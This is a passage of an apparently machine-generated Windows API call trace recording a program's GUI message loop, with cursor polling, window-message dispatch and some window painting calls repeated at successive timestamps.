hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.225] GetCurrentProcessId () returned 0x8d0 [0281.225] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.225] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.225] GetCapture () returned 0x0 [0281.225] WaitMessage () returned 1 [0281.239] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.239] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.240] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.240] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.240] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.240] WindowFromPoint (Point=0x36b) returned 0x1035a [0281.240] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1dd036b) returned 0x1 [0281.240] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.240] GetCurrentProcessId () returned 0x8d0 [0281.240] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.240] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.240] GetCapture () returned 0x0 [0281.240] WaitMessage () returned 1 [0281.287] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.287] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.287] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.287] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.288] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.288] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.288] WindowFromPoint (Point=0x372) returned 0x1035a [0281.288] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0281.288] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.288] GetCurrentProcessId () returned 0x8d0 [0281.288] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.288] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.288] GetCapture () returned 0x0 [0281.288] WaitMessage () returned 1 [0281.357] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.357] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.357] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.357] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.358] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.358] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.358] WindowFromPoint (Point=0x375) returned 0x1035a [0281.358] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fd0375) returned 0x1 [0281.359] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.359] GetCurrentProcessId () returned 0x8d0 [0281.359] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.359] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.359] GetCapture () returned 0x0 [0281.359] WaitMessage () returned 1 [0281.372] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.372] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.372] DispatchMessageA (lpMsg=0x18ff1c) returned 0x5a6c00 [0281.372] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.373] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.373] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.373] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.373] IsIconic (hWnd=0xc0060) returned 0 [0281.373] IsIconic (hWnd=0xc0060) returned 0 [0281.373] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0281.373] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0281.373] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0281.373] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0281.373] GetSysColor (nIndex=8) returned 0x0 [0281.373] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0281.373] GetSysColor (nIndex=15) returned 0xf0f0f0 [0281.373] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0281.374] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0281.374] GetCurrentProcessId () returned 0x8d0 [0281.374] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0281.374] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0281.374] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0281.374] GetCurrentProcessId () returned 0x8d0 [0281.374] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0281.374] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0281.374] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0281.374] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0281.374] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0281.375] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.375] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.375] WindowFromPoint (Point=0x372) returned 0x1035a [0281.375] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0281.375] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.375] GetCurrentProcessId () returned 0x8d0 [0281.375] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.375] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.375] GetCapture () returned 0x0 [0281.375] WaitMessage () returned 1 [0281.438] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.438] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.438] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.438] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.439] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.439] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.439] WindowFromPoint (Point=0x373) returned 0x1035a [0281.439] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fd0373) returned 0x1 [0281.439] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.439] GetCurrentProcessId () returned 0x8d0 [0281.439] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.439] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.439] GetCapture () returned 0x0 [0281.439] WaitMessage () returned 1 [0281.501] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.501] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.501] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.501] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.501] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.502] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.502] WindowFromPoint (Point=0x354) returned 0x1035a [0281.502] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1df0354) returned 0x1 [0281.502] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.502] GetCurrentProcessId () returned 0x8d0 [0281.502] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.502] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.502] GetCapture () returned 0x0 [0281.502] WaitMessage () returned 1 [0281.586] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.586] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.586] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.586] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.587] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.588] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.588] WindowFromPoint (Point=0x372) returned 0x1035a [0281.588] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0281.588] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.588] GetCurrentProcessId () returned 0x8d0 [0281.588] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.588] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.588] GetCapture () returned 0x0 [0281.588] WaitMessage () returned 1 [0281.650] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.650] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.650] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.651] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.651] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.651] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.651] WindowFromPoint (Point=0x375) returned 0x1035a [0281.651] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f90375) returned 0x1 [0281.651] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.651] GetCurrentProcessId () returned 0x8d0 [0281.651] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.651] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.651] GetCapture () returned 0x0 [0281.651] WaitMessage () returned 1 [0281.716] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.716] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.716] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.716] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.716] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.716] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.716] WindowFromPoint (Point=0x372) returned 0x1035a [0281.717] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0281.717] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.717] GetCurrentProcessId () returned 0x8d0 [0281.717] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.717] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.717] GetCapture () returned 0x0 [0281.717] WaitMessage () returned 1 [0281.778] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.778] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.778] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.778] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.779] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.779] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.779] WindowFromPoint (Point=0x371) returned 0x1035a [0281.779] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0371) returned 0x1 [0281.779] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.779] GetCurrentProcessId () returned 0x8d0 [0281.779] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.779] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.779] GetCapture () returned 0x0 [0281.779] WaitMessage () returned 1 [0281.809] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.809] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.809] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.809] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.809] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.809] WindowFromPoint (Point=0x35a) returned 0x1035a [0281.809] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1ed035a) returned 0x1 [0281.810] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.810] GetCurrentProcessId () returned 0x8d0 [0281.810] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.810] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.810] GetCapture () returned 0x0 [0281.810] WaitMessage () returned 1 [0281.843] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.843] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.843] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.843] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.843] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.843] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.843] WindowFromPoint (Point=0x372) returned 0x1035a [0281.844] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0281.844] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.844] GetCurrentProcessId () returned 0x8d0 [0281.844] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.844] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.844] GetCapture () returned 0x0 [0281.844] WaitMessage () returned 1 [0281.908] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.908] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.909] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.909] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.909] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.909] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.909] WindowFromPoint (Point=0x371) returned 0x1035a [0281.909] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f90371) returned 0x1 [0281.909] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.909] GetCurrentProcessId () returned 0x8d0 [0281.909] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.909] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.909] GetCapture () returned 0x0 [0281.909] WaitMessage () returned 1 [0281.972] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0281.972] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0281.972] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0281.972] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0281.972] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0281.972] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0281.972] WindowFromPoint (Point=0x372) returned 0x1035a [0281.972] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0281.972] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0281.972] GetCurrentProcessId () returned 0x8d0 [0281.972] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0281.972] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0281.972] GetCapture () returned 0x0 [0281.972] WaitMessage () returned 1 [0282.033] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.033] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.034] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.034] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.034] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.034] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0282.034] WindowFromPoint (Point=0x36f) returned 0x1035a [0282.034] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fc036f) returned 0x1 [0282.034] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.034] GetCurrentProcessId () returned 0x8d0 [0282.034] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.034] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.034] GetCapture () returned 0x0 [0282.034] WaitMessage () returned 1 [0282.096] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.096] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.096] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.097] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.097] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.097] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0282.097] WindowFromPoint (Point=0x370) returned 0x1035a [0282.097] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f60370) returned 0x1 [0282.097] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.097] GetCurrentProcessId () returned 0x8d0 [0282.097] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.097] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.097] GetCapture () returned 0x0 [0282.097] WaitMessage () returned 1 [0282.158] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.158] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.158] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.158] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.159] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.159] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0282.159] WindowFromPoint (Point=0x372) returned 0x1035a [0282.159] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1fb0372) returned 0x1 [0282.159] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.159] GetCurrentProcessId () returned 0x8d0 [0282.159] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.159] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.159] GetCapture () returned 0x0 [0282.159] WaitMessage () returned 1 [0282.221] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0282.221] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0282.221] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0282.221] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0282.222] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0282.222] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=882, y=507)) returned 1 [0282.222] WindowFromPoint (Point=0x371) returned 0x1035a [0282.222] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f90371) returned 0x1 [0282.222] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0282.222] GetCurrentProcessId () returned 0x8d0 [0282.222] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0282.222] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0282.222] GetCapture () returned 0x0 [0282.222] WaitMessage 